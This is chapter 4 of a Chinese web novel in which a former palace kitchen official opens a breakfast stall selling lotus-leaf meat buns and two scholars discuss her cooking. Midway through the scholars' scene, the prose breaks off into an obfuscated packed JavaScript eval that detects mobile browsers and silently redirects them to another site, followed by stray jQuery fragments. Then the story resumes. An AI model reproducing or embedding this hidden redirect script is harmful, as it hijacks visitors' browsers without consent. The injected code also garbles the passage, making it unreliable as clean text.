4. 第 4 章
作品:《尚食局女官下岗再就业》 得了伯府八吊青蚨,李怀珠算是有了置办摊位的本钱。
翌日天蒙蒙亮,她去买了几样早点。
东市王记的油炸桧八文一个,金黄酥脆,趁热吃最是香口,就是油重了些,吃多了腻人;蒸糕十文钱一块,松软绵密,配上一碗五文钱的杏仁茶正相宜,算得上实惠;桥头的糖油果子要二十文一个,外脆里糯,甜而不腻,最讨小娘子们喜欢,只是价钱略贵,寻常人家偶尔才舍得买。
李怀珠实地勘察,走东串西逛了些日子,把家伙事准备齐了,俏没声开了张。
鼓声未绝,赶早的商贩、挑担的脚夫,皆搓着手哈着白气,眼睛却不住往那新支起的摊子上瞟。
摊主自然就是来试水的李怀珠,身着一袭素布襦裙,腰间系着围子,乌黑的头发挽着平髻,并未妆饰,却衬得一张脸白净细腻。
她不像旁人那般吆喝,只低头摆弄着面前的火炉。
只见她面前的炉上架着一口平底铁鏊,炭火正旺,烧得鏊面微微发亮,旁边还有一个灶台,上面架着一口冒着肉香的锅子。
卖索饼的妇人抻着脖子瞧,好奇她能做出什么花样来。
却见那小娘子从竹筐里取出一块发好的面团,手腕一抖,便甩在鏊上。面团遇热,立刻滋啦作响,用木铲轻轻压平,待底面烙出金黄脆皮,才翻个面,继续烙。不多时,那面饼便鼓胀起来,外酥里软,香气直往人鼻子里钻。
立时就有食客凑了过去。
“这叫‘白吉馍’。”
小娘子一笑,又从旁边的锅子里提出块五花三层的豚肉,刀刃贴着肉皮一刮,在案板上剁作臊子,接着又摸出几片干荷叶,就着鏊子余温烘了烘,再抄起烤好的馍,横刀一划,夹进肉片,浇一勺浓稠的卤汁,最后添两片脆生生的腌胡瓜。
“十五文一个,用荷叶包着,烫不着手。”
嗯,价钱是比寻常早点贵些,但看这吃食模样新奇,有肉有菜,倒也值得。
头一个光顾的是个赶镖的汉子,咬下一口,嗯,不一样,馍皮焦香酥脆,内里的豚肉却极为软烂入味,卤汁咸香浓郁,再被那清甜的腌瓜一解腻,几种滋味融合得恰到好处。
“娘子,手艺真不赖!”汉子三两口吃完,由衷赞道。
李怀珠手上忙着,笑了笑:“您吃得惯就好。”
这镖师开了个好头,摊子前渐渐也聚起了人气,骑马路过的差役觉得新鲜,一口气买了三个,有赶着去衙署的绿袍官人,吩咐多包一个要带去给同僚尝尝,连对面酒肆的小二,也趁掌柜不备,溜过来买了一个。
那卖索饼的妇人看得眼热,忍不住嘟囔:“不就是饼夹肉么?谁还不会了……”
正说着,忽见李怀珠掀开身前的瓷碗,里头竟是用茱萸胡麻调制的辣酱,红艳艳的勾人食欲。
她舀起一勺问那衙役:“郎君可想多些滋味?”
衙役拍胸脯:“尽管来!”
一勺辣酱下去,馍饼顿时添了三分豪气,那人吃得满头大汗,却连呼痛快,引得旁人纷纷效仿。
晨光渐亮,李怀珠的竹篦见了底。
这时早市也散了大半,赶朝的官吏都走得干净,只剩几个晚起的闲散人晃悠着来寻吃食。
李怀珠给最后一位主顾包好荷叶馍,那是个睡眼惺忪的清秀书生,衣襟上沾着宿墨,想是昨夜苦读到三更。
“某来此三月有余,除了昨日一桌大席,这是最好吃的饭食了。”书生一手吃着,一手提着个外带的荷叶包,含糊问道,“小娘子明日还来不来?”
“只要不是刮风下雨,都来的。”
李怀珠笑着应声,抬头瞧那人一眼,心说该不会是昨天去过打火店的举子吧,手上却已开始收拾家伙什。
书生提着荷叶包走远,隔壁卖粥的老汉见状笑道:“小娘子这买卖做得精。十五文一个的肉馍,老夫三碗粥才抵得上哩。”
李怀珠笑而不语,铁鏊下的炭火将熄未熄,舀一瓢清水浇上去,嗤的一声,白雾腾起,在晨光里打了个转儿。
这般经营半月,李怀珠心里有了本帐。
她这荷叶馍本钱下得足,挣的就是东市客商与殷实人家图新鲜、求干净的钱。
荷叶虽比油纸难买价贵,可那清香气往街口一飘,便是最好的招牌。
这半月试下来,每日备的货总能卖个干净,刨去各项成本,净利算下来近三贯钱,除开月租五百文,还余下许多,七七八八算下来,竟比寻常宫婢月例还多!
*
石子桓提着荷叶馍回到赁居小院,檐角还滴着露水珠子。
他小心提着,青衫下摆却仍被雨水洇湿了一片。
推开厢房的门,谢慈正伏案誊写策论。
“买了些什么回来?”
“兰时,你且看这个。”石子桓将荷叶包放在案头,清涩荷香混着肉香漫开,“东市一小娘子新出的‘荷叶馍’,滋味甚妙。”
谢慈笔尖一顿,目光掠过那青翠荷叶。
待解开系绳,馍饼酥香扑面而来,内里夹着肥瘦相间的豚肉,卤汁浸润
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888280|192112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处微微发亮。
“十五文一个。”石子桓坐一旁感叹,“虽比寻常炊饼贵些,却值得。”
谢慈颔首,垂眸咬了一口,外酥里嫩的馍皮与卤肉交融,混着腌制好的胡瓜,清爽开胃,竟很合胃口。
“如何?”
“尚可。”谢慈取帕子拭手,却见对方又从袖中摸出个小油纸包,“这又是何物?”
“酱料。”石子桓献宝似的展开,“那小娘子说,若嫌滋味寡淡,可添些茱萸酱。”
红艳艳的辣酱盛在油纸包里,很是干净,嘴里这道清爽不油腻的肉香,叫他莫名想起那日掺了青笋的好肉圆子,又想,这两厢莫不是同出一人之手?
可却又觉不是。
当日小娘子那番姿容相貌、好口齿,总也不会落到市井摆摊的地步才对。
倒不是他瞧不起这营生,只是觉得以她的本事,若真出了宫,合该被各家酒楼争着聘去做掌勺,或是被富户人家请去专司宴席,更何况那夜伯爷吃了她的四喜丸子,回去便写了篇《食趣小记》,在文人雅士间传阅,连带着孙家打火店的名声都水涨船高。
听说如今去十字坡求席面的人,都快把孙娘子的门槛踏平了……
*
倒春寒一过,天气忽而有些燥热。
李怀珠浑然未觉自己成了汴京饮食圈里的谈资,仍把回笼觉睡到日上三竿。
睡好了,挎着竹篮在菜市转了一圈,称了半斤麦粉,几枚鸡子,一把野胡葱,路过城隍庙,瞧见几株老榆树探出墙头,嫩绿的榆钱儿挤挤挨挨,美的倒是应景。
只是俗如某人,只能想到口腹之欲。
回到店宅务的小院,日头已经晒上来了。
柴灶火旺,李怀珠烙了几张颇为粗犷的榆钱饼,又借着余温,炒了个胡葱鸡子。
晚食就摆在院里的石桌上。
榆钱饼切成八瓣,外酥里糯,野胡葱炒蛋堆在粗瓷碗里,金黄翠绿,辛辣鲜甜,就着一碗莼菜羹下肚,比宫中的伙食落胃。
店宅务后院养了只浑圆的黑色小狗崽,听勾押官说是为了镇宅,可小东西却颇为怕人,平时不出窝,闻着味道,也不知何时蹭到了她脚边,尾巴尖儿一勾一勾扫她裙角。
李怀珠掰了块饼丢给它,看小狗崽子叼着去墙角吃着,想起去年此时,尚食局正忙着准备清明的寒食,她跪在玉地上记单子,掌膳就站在她旁边,说一句她便得记一句,饿得眼前发黑也不敢动一下。
哪像现在,想睡到几时便几时,爱吃什么做什么。

